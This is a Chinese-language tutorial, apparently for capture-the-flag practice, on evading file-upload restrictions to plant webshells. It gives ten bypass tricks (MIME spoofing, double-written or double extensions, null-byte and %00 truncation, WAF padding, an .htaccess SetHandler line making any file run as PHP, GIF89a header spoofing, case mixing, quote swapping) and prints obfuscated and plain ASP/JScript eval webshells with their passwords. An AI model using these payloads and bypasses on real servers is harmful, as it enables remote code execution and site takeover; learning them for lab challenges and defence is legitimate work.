先跟大家聊聊文件上传的基本操作:
基本格式:
content-disposition:xxxx; name="upload_file"; filename="xxxx";
content-type: image/jpeg
其实文件上传能动的也就基本是filename和适当添加一句话木马,还有改content-type(Mime值),如果文件名字过滤了php那就可以尝试写ASP木马,还有content-type(Mime值),这里用了qwsn大神的讲解:
(1)发现文件类型不被允许,猜测是MIME限制
(2)抓包改包,突破上传
如果基本思路不能达到应有的目标,那么接下来我会由浅入深的带大家学习文件上传的一些骚操作
1.js前端检测
2.双写绕过法
双写绕过原理:服务端对黑名单中的内容进行处理,且仅处理一次,所以可以通过双写后缀绕过.
如,黑名单中有"php"字样,上传文件名为"1.php" 上传后文件变成"1."
大致过程:
1,bp抓包
2.修改filename=“1.pphphp”
这里一定要在php里面写一个php,如果连着写都会被识别过滤。
3.连接蚁剑
3.php木马双后缀
因为扩展名检测时文件名的右边网左边读,当读到第一个点的时候就会确认文件类型
比如比如写个一句话木马,命名为1.php.jpg
再开启bp,再proxy功能中选择1.php.jpg文件上传,点击hex查看十六进制源代码,找到1.php后面的“."(点),对应的是2e,改为00,也就是代表空的意思,接下来就可以直接上传文件。
4.数据溢出绕过
在filename后面继续添加数据,让WAF认为还没检测完,比如:
name="upload_file"; filename="1.php";sajkdasdjkasjdldjklasdassacdnkadcnkdlkandklawkdawasdnkadnlkdnkawnkwdnakscnklasncfkakakdadlawldndanldnkadnklawnawkdnadk。。。。。
5.%00截断
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束,比如:
filename="x.php%00/.php"
6.hatccess
代码:
SetHandler application/x-httpd-php
原理:其中.htaccess文件内容:SetHandler application/x-http-php的意思是设置当前目录所有文件都使用php解析,那么无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行。不符合规则则报错。
做法:1。在本地创建一个.htacces文件,输入代码内容,**然后点击另存为,将保存类型设置为所有文件。
2.上传一句话木马
保存为 stack.jpg 文件
3.抓包连接蚁剑
7.GIF动图绕过
原理:本质上是文件欺骗
举个例子:之前做过一道题
Step1:上传正常jpg文件,没有问题,上传一句话木马伪装的jpg文件,提示格式不对,上传图片马,提示文件格式不对
Step2:上传一个09.php.jpg,用BP抓包,修改request中的内容,实现文件欺骗,让木马能够正确上传。Gif文件对应的是:GIF89a即可上传成功
8.黑名单过滤
比如文件名后缀大小写混合绕过,.php改成.phP然后上传即可。
9.ASP木马
如果题目过滤了PHP,那你可以写ASP一句话木马进行上传比如大神V写的:
<%@ Page Language = Jscript %>
<%var/-/-/P/-/-/=/-/-/“e”+“v”+/-/-/
“a”+“l”+"("+“R”+“e”+/-/-/“q”+“u”+“e”/-/-/+“s”+“t”+
“[/-/-/0/-/-/-/-/-/2/-/-/-/-/-/5/-/-/]”+
“,”+"""+“u”+“n”+“s”/-/-/+“a”+“f”+“e”+"""+")";eval
(/-/-/P/-/-/,/-/-/“u”+“n”+“s”/-/-/+“a”+“f”+“e”/-/-/);%> 密码 -7
<%@ Page Language=“Jscript”%><%eval(Request.Item[“xindong”],“unsafe”);%>
密码是webadmin
10.waf单引号漏洞
这里有时候做题时把filename”1.php“直接改成’1.php‘,因为它可能只会检测双引号的内容
希望大家能够有所收获!